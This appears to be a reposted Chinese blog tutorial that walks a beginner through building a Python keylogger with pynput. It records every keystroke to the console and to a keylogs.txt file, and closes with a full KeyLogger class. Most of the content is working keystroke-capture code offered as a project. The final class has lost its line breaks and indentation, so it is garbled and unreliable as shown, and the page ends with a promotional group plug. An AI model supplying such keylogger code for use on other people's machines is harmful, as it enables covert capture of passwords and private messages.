5分钟内完成Python键盘记录程序
生活随笔
收集整理的這篇文章主要介紹了
5分钟内完成Python键盘记录程序
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
介紹
這是一個非常基礎的項目,您甚至不需要具備python能力就可以成功構建它,讓我們開始吧!
要構建鍵盤記錄器,我們需要一種跟蹤鍵盤上每個按鍵的方法,python中有幾個庫可以用來執行以下操作:
- 鍵盤
- PyUserlnput
- put
安裝
pip install pynput構建我們的鍵盤記錄器
要跟蹤按鍵,我們必須實現一個偵聽器功能,然后將其附加到我們的Pynput偵聽器中,這里是如何實現的;
>>> from pynput import keyboard >>> def on_press(key): ... print(key)>>> listener = keyboard.Listener(on_press=on_press) >>> listener.start() >>> h'h' v'v' Key.ctrl 'v' Key.cmd Key.ctrl Key.shift?
正如我們在短短的幾行代碼中所看到的,我們能夠實現一個鍵盤記錄器,該記錄器可以跟蹤按下的鍵并將其輸出到我們的repl終端中
因此,我們現在要做的是打開一個用于存儲擊鍵的新文件,而不是將其打印在repl上。
>>> from pynput import keyboard >>> def on_press(key): ... with open('keylogs.txt', 'a') as logs: ... logs.write(str(key)) ... >>> listener = keyboard.Listener(on_press=on_press) >>> listener.start() >>> hellodam testing?
現在,如果您查看當前目錄,您將看到一個名為keylogs.txt的新文件,其中包含新的跟蹤密鑰,如下所示;
? cat keylogs.txt Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%?
這是我們格式化后的代碼的樣子;
from pynput import keyboardclass KeyLogger():def __init__(self, filename: str = "keylogs.txt") -> None:self.filename = filename@staticmethoddef get_char(key):try:return key.charexcept AttributeError:return str(key)def on_press(self, key):print(key)with open(self.filename, 'a') as logs:logs.write(self.get_char(key))def main(self):listener = keyboard.Listener(on_press=self.on_press,)listener.start()if __name__ == '__main__':logger = KeyLogger()logger.main()input()在這里還是要推薦下我自己建的Python學習群:721195303,群里都是學Python的,如果你想學或者正在學習Python ,歡迎你加入,大家都是軟件開發黨,不定期分享干貨(只有Python軟件開發相關的),包括我自己整理的一份2021最新的Python進階資料和零基礎教學,歡迎進階中和對Python感興趣的小伙伴加入!
總結
以上是生活随笔為你收集整理的5分钟内完成Python键盘记录程序的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 工具开发|键盘记录工具原理及代码实现
- 下一篇: python 实现键盘记录